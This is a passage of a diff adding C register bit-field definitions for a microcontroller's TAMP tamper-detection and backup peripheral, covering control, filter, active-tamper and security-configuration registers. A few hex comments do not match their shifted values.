TAMP_CR1_ITAMP4E_Pos (19U) +#define TAMP_CR1_ITAMP4E_Msk (0x1UL << TAMP_CR1_ITAMP4E_Pos) /*!< 0x00080000 */ +#define TAMP_CR1_ITAMP4E TAMP_CR1_ITAMP4E_Msk +#define TAMP_CR1_ITAMP5E_Pos (20U) +#define TAMP_CR1_ITAMP5E_Msk (0x1UL << TAMP_CR1_ITAMP5E_Pos) /*!< 0x00100000 */ +#define TAMP_CR1_ITAMP5E TAMP_CR1_ITAMP5E_Msk +#define TAMP_CR1_ITAMP6E_Pos (21U) +#define TAMP_CR1_ITAMP6E_Msk (0x1UL << TAMP_CR1_ITAMP6E_Pos) /*!< 0x00200000 */ +#define TAMP_CR1_ITAMP6E TAMP_CR1_ITAMP6E_Msk +#define TAMP_CR1_ITAMP7E_Pos (22U) +#define TAMP_CR1_ITAMP7E_Msk (0x1UL << TAMP_CR1_ITAMP7E_Pos) /*!< 0x00400000 */ +#define TAMP_CR1_ITAMP7E TAMP_CR1_ITAMP7E_Msk +#define TAMP_CR1_ITAMP8E_Pos (23U) +#define TAMP_CR1_ITAMP8E_Msk (0x1UL << TAMP_CR1_ITAMP8E_Pos) /*!< 0x00800000 */ +#define TAMP_CR1_ITAMP8E TAMP_CR1_ITAMP8E_Msk +#define TAMP_CR1_ITAMP9E_Pos (24U) +#define TAMP_CR1_ITAMP9E_Msk (0x1UL << TAMP_CR1_ITAMP9E_Pos) /*!< 0x01000000 */ +#define TAMP_CR1_ITAMP9E TAMP_CR1_ITAMP9E_Msk +#define TAMP_CR1_ITAMP11E_Pos (26U) +#define TAMP_CR1_ITAMP11E_Msk (0x1UL << TAMP_CR1_ITAMP11E_Pos) /*!< 0x04000000 */ +#define TAMP_CR1_ITAMP11E TAMP_CR1_ITAMP11E_Msk +#define TAMP_CR1_ITAMP12E_Pos (27U) +#define TAMP_CR1_ITAMP12E_Msk (0x1UL << TAMP_CR1_ITAMP12E_Pos) /*!< 0x08000000 */ +#define TAMP_CR1_ITAMP12E TAMP_CR1_ITAMP12E_Msk +#define TAMP_CR1_ITAMP13E_Pos (28U) +#define TAMP_CR1_ITAMP13E_Msk (0x1UL << TAMP_CR1_ITAMP13E_Pos) /*!< 0x10000000 */ +#define TAMP_CR1_ITAMP13E TAMP_CR1_ITAMP13E_Msk +#define TAMP_CR1_ITAMP15E_Pos (30U) +#define TAMP_CR1_ITAMP15E_Msk (0x1UL << TAMP_CR1_ITAMP15E_Pos) /*!< 0x40000000 */ +#define TAMP_CR1_ITAMP15E TAMP_CR1_ITAMP15E_Msk + +/******************** Bits definition for TAMP_CR2 register *****************/ +#define TAMP_CR2_TAMP1NOERASE_Pos (0U) +#define TAMP_CR2_TAMP1NOERASE_Msk (0x1UL << TAMP_CR2_TAMP1NOERASE_Pos) /*!< 0x00000001 */ +#define TAMP_CR2_TAMP1NOERASE TAMP_CR2_TAMP1NOERASE_Msk +#define TAMP_CR2_TAMP2NOERASE_Pos (1U) +#define TAMP_CR2_TAMP2NOERASE_Msk (0x1UL << TAMP_CR2_TAMP2NOERASE_Pos) /*!< 0x00000002 */ +#define TAMP_CR2_TAMP2NOERASE TAMP_CR2_TAMP2NOERASE_Msk +#define TAMP_CR2_TAMP3NOERASE_Pos (2U) +#define TAMP_CR2_TAMP3NOERASE_Msk (0x1UL << TAMP_CR2_TAMP3NOERASE_Pos) /*!< 0x00000004 */ +#define TAMP_CR2_TAMP3NOERASE TAMP_CR2_TAMP3NOERASE_Msk +#define TAMP_CR2_TAMP4NOERASE_Pos (3U) +#define TAMP_CR2_TAMP4NOERASE_Msk (0x1UL << TAMP_CR2_TAMP4NOERASE_Pos) /*!< 0x00000008 */ +#define TAMP_CR2_TAMP4NOERASE TAMP_CR2_TAMP4NOERASE_Msk +#define TAMP_CR2_TAMP5NOERASE_Pos (4U) +#define TAMP_CR2_TAMP5NOERASE_Msk (0x1UL << TAMP_CR2_TAMP5NOERASE_Pos) /*!< 0x00000010 */ +#define TAMP_CR2_TAMP5NOERASE TAMP_CR2_TAMP5NOERASE_Msk +#define TAMP_CR2_TAMP6NOERASE_Pos (5U) +#define TAMP_CR2_TAMP6NOERASE_Msk (0x1UL << TAMP_CR2_TAMP6NOERASE_Pos) /*!< 0x00000020 */ +#define TAMP_CR2_TAMP6NOERASE TAMP_CR2_TAMP6NOERASE_Msk +#define TAMP_CR2_TAMP7NOERASE_Pos (6U) +#define TAMP_CR2_TAMP7NOERASE_Msk (0x1UL << TAMP_CR2_TAMP7NOERASE_Pos) /*!< 0x00000040 */ +#define TAMP_CR2_TAMP7NOERASE TAMP_CR2_TAMP7NOERASE_Msk +#define TAMP_CR2_TAMP8NOERASE_Pos (7U) +#define TAMP_CR2_TAMP8NOERASE_Msk (0x1UL << TAMP_CR2_TAMP8NOERASE_Pos) /*!< 0x00000080 */ +#define TAMP_CR2_TAMP8NOERASE TAMP_CR2_TAMP8NOERASE_Msk +#define TAMP_CR2_TAMP1MSK_Pos (16U) +#define TAMP_CR2_TAMP1MSK_Msk (0x1UL << TAMP_CR2_TAMP1MSK_Pos) /*!< 0x00010000 */ +#define TAMP_CR2_TAMP1MSK TAMP_CR2_TAMP1MSK_Msk +#define TAMP_CR2_TAMP2MSK_Pos (17U) +#define TAMP_CR2_TAMP2MSK_Msk (0x1UL << TAMP_CR2_TAMP2MSK_Pos) /*!< 0x00020000 */ +#define TAMP_CR2_TAMP2MSK TAMP_CR2_TAMP2MSK_Msk +#define TAMP_CR2_TAMP3MSK_Pos (18U) +#define TAMP_CR2_TAMP3MSK_Msk (0x1UL << TAMP_CR2_TAMP3MSK_Pos) /*!< 0x00040000 */ +#define TAMP_CR2_TAMP3MSK TAMP_CR2_TAMP3MSK_Msk +#define TAMP_CR2_BKBLOCK_Pos (22U) +#define TAMP_CR2_BKBLOCK_Msk (0x1UL << TAMP_CR2_BKBLOCK_Pos) /*!< 0x00400000 */ +#define TAMP_CR2_BKBLOCK TAMP_CR2_BKBLOCK_Msk +#define TAMP_CR2_BKERASE_Pos (23U) +#define TAMP_CR2_BKERASE_Msk (0x1UL << TAMP_CR2_BKERASE_Pos) /*!< 0x00800000 */ +#define TAMP_CR2_BKERASE TAMP_CR2_BKERASE_Msk +#define TAMP_CR2_TAMP1TRG_Pos (24U) +#define TAMP_CR2_TAMP1TRG_Msk (0x1UL << TAMP_CR2_TAMP1TRG_Pos) /*!< 0x01000000 */ +#define TAMP_CR2_TAMP1TRG TAMP_CR2_TAMP1TRG_Msk +#define TAMP_CR2_TAMP2TRG_Pos (25U) +#define TAMP_CR2_TAMP2TRG_Msk (0x1UL << TAMP_CR2_TAMP2TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP2TRG TAMP_CR2_TAMP2TRG_Msk +#define TAMP_CR2_TAMP3TRG_Pos (26U) +#define TAMP_CR2_TAMP3TRG_Msk (0x1UL << TAMP_CR2_TAMP3TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP3TRG TAMP_CR2_TAMP3TRG_Msk +#define TAMP_CR2_TAMP4TRG_Pos (27U) +#define TAMP_CR2_TAMP4TRG_Msk (0x1UL << TAMP_CR2_TAMP4TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP4TRG TAMP_CR2_TAMP4TRG_Msk +#define TAMP_CR2_TAMP5TRG_Pos (28U) +#define TAMP_CR2_TAMP5TRG_Msk (0x1UL << TAMP_CR2_TAMP5TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP5TRG TAMP_CR2_TAMP5TRG_Msk +#define TAMP_CR2_TAMP6TRG_Pos (29U) +#define TAMP_CR2_TAMP6TRG_Msk (0x1UL << TAMP_CR2_TAMP6TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP6TRG TAMP_CR2_TAMP6TRG_Msk +#define TAMP_CR2_TAMP7TRG_Pos (30U) +#define TAMP_CR2_TAMP7TRG_Msk (0x1UL << TAMP_CR2_TAMP7TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP7TRG TAMP_CR2_TAMP7TRG_Msk +#define TAMP_CR2_TAMP8TRG_Pos (31U) +#define TAMP_CR2_TAMP8TRG_Msk (0x1UL << TAMP_CR2_TAMP8TRG_Pos) /*!< 0x02000000 */ +#define TAMP_CR2_TAMP8TRG TAMP_CR2_TAMP8TRG_Msk + +/******************** Bits definition for TAMP_CR3 register *****************/ +#define TAMP_CR3_ITAMP1NOER_Pos (0U) +#define TAMP_CR3_ITAMP1NOER_Msk (0x1UL << TAMP_CR3_ITAMP1NOER_Pos) /*!< 0x00000001 */ +#define TAMP_CR3_ITAMP1NOER TAMP_CR3_ITAMP1NOER_Msk +#define TAMP_CR3_ITAMP2NOER_Pos (1U) +#define TAMP_CR3_ITAMP2NOER_Msk (0x1UL << TAMP_CR3_ITAMP2NOER_Pos) /*!< 0x00000002 */ +#define TAMP_CR3_ITAMP2NOER TAMP_CR3_ITAMP2NOER_Msk +#define TAMP_CR3_ITAMP3NOER_Pos (2U) +#define TAMP_CR3_ITAMP3NOER_Msk (0x1UL << TAMP_CR3_ITAMP3NOER_Pos) /*!< 0x00000004 */ +#define TAMP_CR3_ITAMP3NOER TAMP_CR3_ITAMP3NOER_Msk +#define TAMP_CR3_ITAMP4NOER_Pos (3U) +#define TAMP_CR3_ITAMP4NOER_Msk (0x1UL << TAMP_CR3_ITAMP4NOER_Pos) /*!< 0x00000008 */ +#define TAMP_CR3_ITAMP4NOER TAMP_CR3_ITAMP4NOER_Msk +#define TAMP_CR3_ITAMP5NOER_Pos (4U) +#define TAMP_CR3_ITAMP5NOER_Msk (0x1UL << TAMP_CR3_ITAMP5NOER_Pos) /*!< 0x00000010 */ +#define TAMP_CR3_ITAMP5NOER TAMP_CR3_ITAMP5NOER_Msk +#define TAMP_CR3_ITAMP6NOER_Pos (5U) +#define TAMP_CR3_ITAMP6NOER_Msk (0x1UL << TAMP_CR3_ITAMP6NOER_Pos) /*!< 0x00000020 */ +#define TAMP_CR3_ITAMP6NOER TAMP_CR3_ITAMP6NOER_Msk +#define TAMP_CR3_ITAMP7NOER_Pos (6U) +#define TAMP_CR3_ITAMP7NOER_Msk (0x1UL << TAMP_CR3_ITAMP7NOER_Pos) /*!< 0x00000040 */ +#define TAMP_CR3_ITAMP7NOER TAMP_CR3_ITAMP7NOER_Msk +#define TAMP_CR3_ITAMP8NOER_Pos (7U) +#define TAMP_CR3_ITAMP8NOER_Msk (0x1UL << TAMP_CR3_ITAMP8NOER_Pos) /*!< 0x00000080 */ +#define TAMP_CR3_ITAMP8NOER TAMP_CR3_ITAMP8NOER_Msk +#define TAMP_CR3_ITAMP9NOER_Pos (8U) +#define TAMP_CR3_ITAMP9NOER_Msk (0x1UL << TAMP_CR3_ITAMP9NOER_Pos) /*!< 0x00000100 */ +#define TAMP_CR3_ITAMP9NOER TAMP_CR3_ITAMP9NOER_Msk +#define TAMP_CR3_ITAMP11NOER_Pos (10U) +#define TAMP_CR3_ITAMP11NOER_Msk (0x1UL << TAMP_CR3_ITAMP11NOER_Pos) /*!< 0x00000400 */ +#define TAMP_CR3_ITAMP11NOER TAMP_CR3_ITAMP11NOER_Msk +#define TAMP_CR3_ITAMP12NOER_Pos (11U) +#define TAMP_CR3_ITAMP12NOER_Msk (0x1UL << TAMP_CR3_ITAMP12NOER_Pos) /*!< 0x00000800 */ +#define TAMP_CR3_ITAMP12NOER TAMP_CR3_ITAMP12NOER_Msk +#define TAMP_CR3_ITAMP13NOER_Pos (12U) +#define TAMP_CR3_ITAMP13NOER_Msk (0x1UL << TAMP_CR3_ITAMP13NOER_Pos) /*!< 0x00001000 */ +#define TAMP_CR3_ITAMP13NOER TAMP_CR3_ITAMP13NOER_Msk +#define TAMP_CR3_ITAMP15NOER_Pos (14U) +#define TAMP_CR3_ITAMP15NOER_Msk (0x1UL << TAMP_CR3_ITAMP15NOER_Pos) /*!< 0x00004000 */ +#define TAMP_CR3_ITAMP15NOER TAMP_CR3_ITAMP15NOER_Msk + +/******************** Bits definition for TAMP_FLTCR register ***************/ +#define TAMP_FLTCR_TAMPFREQ_Pos (0U) +#define TAMP_FLTCR_TAMPFREQ_Msk (0x7UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000007 */ +#define TAMP_FLTCR_TAMPFREQ TAMP_FLTCR_TAMPFREQ_Msk +#define TAMP_FLTCR_TAMPFREQ_0 (0x1UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000001 */ +#define TAMP_FLTCR_TAMPFREQ_1 (0x2UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000002 */ +#define TAMP_FLTCR_TAMPFREQ_2 (0x4UL << TAMP_FLTCR_TAMPFREQ_Pos) /*!< 0x00000004 */ +#define TAMP_FLTCR_TAMPFLT_Pos (3U) +#define TAMP_FLTCR_TAMPFLT_Msk (0x3UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000018 */ +#define TAMP_FLTCR_TAMPFLT TAMP_FLTCR_TAMPFLT_Msk +#define TAMP_FLTCR_TAMPFLT_0 (0x1UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000008 */ +#define TAMP_FLTCR_TAMPFLT_1 (0x2UL << TAMP_FLTCR_TAMPFLT_Pos) /*!< 0x00000010 */ +#define TAMP_FLTCR_TAMPPRCH_Pos (5U) +#define TAMP_FLTCR_TAMPPRCH_Msk (0x3UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000060 */ +#define TAMP_FLTCR_TAMPPRCH TAMP_FLTCR_TAMPPRCH_Msk +#define TAMP_FLTCR_TAMPPRCH_0 (0x1UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000020 */ +#define TAMP_FLTCR_TAMPPRCH_1 (0x2UL << TAMP_FLTCR_TAMPPRCH_Pos) /*!< 0x00000040 */ +#define TAMP_FLTCR_TAMPPUDIS_Pos (7U) +#define TAMP_FLTCR_TAMPPUDIS_Msk (0x1UL << TAMP_FLTCR_TAMPPUDIS_Pos) /*!< 0x00000080 */ +#define TAMP_FLTCR_TAMPPUDIS TAMP_FLTCR_TAMPPUDIS_Msk + +/******************** Bits definition for TAMP_ATCR1 register ***************/ +#define TAMP_ATCR1_TAMP1AM_Pos (0U) +#define TAMP_ATCR1_TAMP1AM_Msk (0x1UL << TAMP_ATCR1_TAMP1AM_Pos) /*!< 0x00000001 */ +#define TAMP_ATCR1_TAMP1AM TAMP_ATCR1_TAMP1AM_Msk +#define TAMP_ATCR1_TAMP2AM_Pos (1U) +#define TAMP_ATCR1_TAMP2AM_Msk (0x1UL << TAMP_ATCR1_TAMP2AM_Pos) /*!< 0x00000002 */ +#define TAMP_ATCR1_TAMP2AM TAMP_ATCR1_TAMP2AM_Msk +#define TAMP_ATCR1_TAMP3AM_Pos (2U) +#define TAMP_ATCR1_TAMP3AM_Msk (0x1UL << TAMP_ATCR1_TAMP3AM_Pos) /*!< 0x00000004 */ +#define TAMP_ATCR1_TAMP3AM TAMP_ATCR1_TAMP3AM_Msk +#define TAMP_ATCR1_TAMP4AM_Pos (3U) +#define TAMP_ATCR1_TAMP4AM_Msk (0x1UL << TAMP_ATCR1_TAMP4AM_Pos) /*!< 0x00000008 */ +#define TAMP_ATCR1_TAMP4AM TAMP_ATCR1_TAMP4AM_Msk +#define TAMP_ATCR1_TAMP5AM_Pos (4U) +#define TAMP_ATCR1_TAMP5AM_Msk (0x1UL << TAMP_ATCR1_TAMP5AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP5AM TAMP_ATCR1_TAMP5AM_Msk +#define TAMP_ATCR1_TAMP6AM_Pos (5U) +#define TAMP_ATCR1_TAMP6AM_Msk (0x1UL << TAMP_ATCR1_TAMP6AM_Pos) /*!< 0x00000010 */ +#define TAMP_ATCR1_TAMP6AM TAMP_ATCR1_TAMP6AM_Msk +#define TAMP_ATCR1_TAMP7AM_Pos (6U) +#define TAMP_ATCR1_TAMP7AM_Msk (0x1UL << TAMP_ATCR1_TAMP7AM_Pos) /*!< 0x00000040 */ +#define TAMP_ATCR1_TAMP7AM TAMP_ATCR1_TAMP7AM_Msk +#define TAMP_ATCR1_TAMP8AM_Pos (7U) +#define TAMP_ATCR1_TAMP8AM_Msk (0x1UL << TAMP_ATCR1_TAMP8AM_Pos) /*!< 0x00000080 */ +#define TAMP_ATCR1_TAMP8AM TAMP_ATCR1_TAMP8AM_Msk +#define TAMP_ATCR1_ATOSEL1_Pos (8U) +#define TAMP_ATCR1_ATOSEL1_Msk (0x3UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000300 */ +#define TAMP_ATCR1_ATOSEL1 TAMP_ATCR1_ATOSEL1_Msk +#define TAMP_ATCR1_ATOSEL1_0 (0x1UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR1_ATOSEL1_1 (0x2UL << TAMP_ATCR1_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR1_ATOSEL2_Pos (10U) +#define TAMP_ATCR1_ATOSEL2_Msk (0x3UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000C00 */ +#define TAMP_ATCR1_ATOSEL2 TAMP_ATCR1_ATOSEL2_Msk +#define TAMP_ATCR1_ATOSEL2_0 (0x1UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR1_ATOSEL2_1 (0x2UL << TAMP_ATCR1_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR1_ATOSEL3_Pos (12U) +#define TAMP_ATCR1_ATOSEL3_Msk (0x3UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00003000 */ +#define TAMP_ATCR1_ATOSEL3 TAMP_ATCR1_ATOSEL3_Msk +#define TAMP_ATCR1_ATOSEL3_0 (0x1UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR1_ATOSEL3_1 (0x2UL << TAMP_ATCR1_ATOSEL3_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR1_ATOSEL4_Pos (14U) +#define TAMP_ATCR1_ATOSEL4_Msk (0x3UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x0000C000 */ +#define TAMP_ATCR1_ATOSEL4 TAMP_ATCR1_ATOSEL4_Msk +#define TAMP_ATCR1_ATOSEL4_0 (0x1UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR1_ATOSEL4_1 (0x2UL << TAMP_ATCR1_ATOSEL4_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR1_ATCKSEL_Pos (16U) +#define TAMP_ATCR1_ATCKSEL_Msk (0xFUL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x000F0000 */ +#define TAMP_ATCR1_ATCKSEL TAMP_ATCR1_ATCKSEL_Msk +#define TAMP_ATCR1_ATCKSEL_0 (0x1UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR1_ATCKSEL_1 (0x2UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR1_ATCKSEL_2 (0x4UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR1_ATCKSEL_3 (0x8UL << TAMP_ATCR1_ATCKSEL_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR1_ATPER_Pos (24U) +#define TAMP_ATCR1_ATPER_Msk (0x7UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x07000000 */ +#define TAMP_ATCR1_ATPER TAMP_ATCR1_ATPER_Msk +#define TAMP_ATCR1_ATPER_0 (0x1UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR1_ATPER_1 (0x2UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR1_ATPER_2 (0x4UL << TAMP_ATCR1_ATPER_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR1_ATOSHARE_Pos (30U) +#define TAMP_ATCR1_ATOSHARE_Msk (0x1UL << TAMP_ATCR1_ATOSHARE_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR1_ATOSHARE TAMP_ATCR1_ATOSHARE_Msk +#define TAMP_ATCR1_FLTEN_Pos (31U) +#define TAMP_ATCR1_FLTEN_Msk (0x1UL << TAMP_ATCR1_FLTEN_Pos) /*!< 0x80000000 */ +#define TAMP_ATCR1_FLTEN TAMP_ATCR1_FLTEN_Msk + +/******************** Bits definition for TAMP_ATSEEDR register ******************/ +#define TAMP_ATSEEDR_SEED_Pos (0U) +#define TAMP_ATSEEDR_SEED_Msk (0xFFFFFFFFUL << TAMP_ATSEEDR_SEED_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_ATSEEDR_SEED TAMP_ATSEEDR_SEED_Msk + +/******************** Bits definition for TAMP_ATOR register ******************/ +#define TAMP_ATOR_PRNG_Pos (0U) +#define TAMP_ATOR_PRNG_Msk (0xFFUL << TAMP_ATOR_PRNG_Pos) /*!< 0x000000FF */ +#define TAMP_ATOR_PRNG TAMP_ATOR_PRNG_Msk +#define TAMP_ATOR_PRNG_0 (0x1UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000001 */ +#define TAMP_ATOR_PRNG_1 (0x2UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000002 */ +#define TAMP_ATOR_PRNG_2 (0x4UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000004 */ +#define TAMP_ATOR_PRNG_3 (0x8UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000008 */ +#define TAMP_ATOR_PRNG_4 (0x10UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000010 */ +#define TAMP_ATOR_PRNG_5 (0x20UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000020 */ +#define TAMP_ATOR_PRNG_6 (0x40UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000040 */ +#define TAMP_ATOR_PRNG_7 (0x80UL << TAMP_ATOR_PRNG_Pos) /*!< 0x00000080 */ +#define TAMP_ATOR_SEEDF_Pos (14U) +#define TAMP_ATOR_SEEDF_Msk (1UL << TAMP_ATOR_SEEDF_Pos) /*!< 0x00004000 */ +#define TAMP_ATOR_SEEDF TAMP_ATOR_SEEDF_Msk +#define TAMP_ATOR_INITS_Pos (15U) +#define TAMP_ATOR_INITS_Msk (1UL << TAMP_ATOR_INITS_Pos) /*!< 0x00008000 */ +#define TAMP_ATOR_INITS TAMP_ATOR_INITS_Msk + +/******************** Bits definition for TAMP_ATCR2 register ***************/ +#define TAMP_ATCR2_ATOSEL1_Pos (8U) +#define TAMP_ATCR2_ATOSEL1_Msk (0x7UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000700 */ +#define TAMP_ATCR2_ATOSEL1 TAMP_ATCR2_ATOSEL1_Msk +#define TAMP_ATCR2_ATOSEL1_0 (0x1UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000100 */ +#define TAMP_ATCR2_ATOSEL1_1 (0x2UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000200 */ +#define TAMP_ATCR2_ATOSEL1_2 (0x4UL << TAMP_ATCR2_ATOSEL1_Pos) /*!< 0x00000400 */ +#define TAMP_ATCR2_ATOSEL2_Pos (11U) +#define TAMP_ATCR2_ATOSEL2_Msk (0x7UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00003800 */ +#define TAMP_ATCR2_ATOSEL2 TAMP_ATCR2_ATOSEL2_Msk +#define TAMP_ATCR2_ATOSEL2_0 (0x1UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00000800 */ +#define TAMP_ATCR2_ATOSEL2_1 (0x2UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00001000 */ +#define TAMP_ATCR2_ATOSEL2_2 (0x4UL << TAMP_ATCR2_ATOSEL2_Pos) /*!< 0x00002000 */ +#define TAMP_ATCR2_ATOSEL3_Pos (14U) +#define TAMP_ATCR2_ATOSEL3_Msk (0x7UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x0001C000 */ +#define TAMP_ATCR2_ATOSEL3 TAMP_ATCR2_ATOSEL3_Msk +#define TAMP_ATCR2_ATOSEL3_0 (0x1UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00004000 */ +#define TAMP_ATCR2_ATOSEL3_1 (0x2UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00008000 */ +#define TAMP_ATCR2_ATOSEL3_2 (0x4UL << TAMP_ATCR2_ATOSEL3_Pos) /*!< 0x00010000 */ +#define TAMP_ATCR2_ATOSEL4_Pos (17U) +#define TAMP_ATCR2_ATOSEL4_Msk (0x7UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x000E0000 */ +#define TAMP_ATCR2_ATOSEL4 TAMP_ATCR2_ATOSEL4_Msk +#define TAMP_ATCR2_ATOSEL4_0 (0x1UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00020000 */ +#define TAMP_ATCR2_ATOSEL4_1 (0x2UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00040000 */ +#define TAMP_ATCR2_ATOSEL4_2 (0x4UL << TAMP_ATCR2_ATOSEL4_Pos) /*!< 0x00080000 */ +#define TAMP_ATCR2_ATOSEL5_Pos (20U) +#define TAMP_ATCR2_ATOSEL5_Msk (0x7UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00700000 */ +#define TAMP_ATCR2_ATOSEL5 TAMP_ATCR2_ATOSEL5_Msk +#define TAMP_ATCR2_ATOSEL5_0 (0x1UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00100000 */ +#define TAMP_ATCR2_ATOSEL5_1 (0x2UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00200000 */ +#define TAMP_ATCR2_ATOSEL5_2 (0x4UL << TAMP_ATCR2_ATOSEL5_Pos) /*!< 0x00400000 */ +#define TAMP_ATCR2_ATOSEL6_Pos (23U) +#define TAMP_ATCR2_ATOSEL6_Msk (0x7UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x03800000 */ +#define TAMP_ATCR2_ATOSEL6 TAMP_ATCR2_ATOSEL6_Msk +#define TAMP_ATCR2_ATOSEL6_0 (0x1UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x00800000 */ +#define TAMP_ATCR2_ATOSEL6_1 (0x2UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x01000000 */ +#define TAMP_ATCR2_ATOSEL6_2 (0x4UL << TAMP_ATCR2_ATOSEL6_Pos) /*!< 0x02000000 */ +#define TAMP_ATCR2_ATOSEL7_Pos (26U) +#define TAMP_ATCR2_ATOSEL7_Msk (0x7UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x1C000000 */ +#define TAMP_ATCR2_ATOSEL7 TAMP_ATCR2_ATOSEL7_Msk +#define TAMP_ATCR2_ATOSEL7_0 (0x1UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x04000000 */ +#define TAMP_ATCR2_ATOSEL7_1 (0x2UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x08000000 */ +#define TAMP_ATCR2_ATOSEL7_2 (0x4UL << TAMP_ATCR2_ATOSEL7_Pos) /*!< 0x10000000 */ +#define TAMP_ATCR2_ATOSEL8_Pos (29U) +#define TAMP_ATCR2_ATOSEL8_Msk (0x7UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0xE0000000 */ +#define TAMP_ATCR2_ATOSEL8 TAMP_ATCR2_ATOSEL8_Msk +#define TAMP_ATCR2_ATOSEL8_0 (0x1UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x20000000 */ +#define TAMP_ATCR2_ATOSEL8_1 (0x2UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x40000000 */ +#define TAMP_ATCR2_ATOSEL8_2 (0x4UL << TAMP_ATCR2_ATOSEL8_Pos) /*!< 0x80000000 */ + +/******************** Bits definition for TAMP_SECCFGR register *************/ +#define TAMP_SECCFGR_BKPRWSEC_Pos (0U) +#define TAMP_SECCFGR_BKPRWSEC_Msk (0xFFUL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x000000FF */ +#define TAMP_SECCFGR_BKPRWSEC TAMP_SECCFGR_BKPRWSEC_Msk +#define TAMP_SECCFGR_BKPRWSEC_0 (0x1UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000001 */ +#define TAMP_SECCFGR_BKPRWSEC_1 (0x2UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000002 */ +#define TAMP_SECCFGR_BKPRWSEC_2 (0x4UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000004 */ +#define TAMP_SECCFGR_BKPRWSEC_3 (0x8UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000008 */ +#define TAMP_SECCFGR_BKPRWSEC_4 (0x10UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000010 */ +#define TAMP_SECCFGR_BKPRWSEC_5 (0x20UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000020 */ +#define TAMP_SECCFGR_BKPRWSEC_6 (0x40UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000040 */ +#define TAMP_SECCFGR_BKPRWSEC_7 (0x80UL << TAMP_SECCFGR_BKPRWSEC_Pos) /*!< 0x00000080 */ +#define TAMP_SECCFGR_CNT1SEC_Pos (15U) +#define TAMP_SECCFGR_CNT1SEC_Msk (0x1UL << 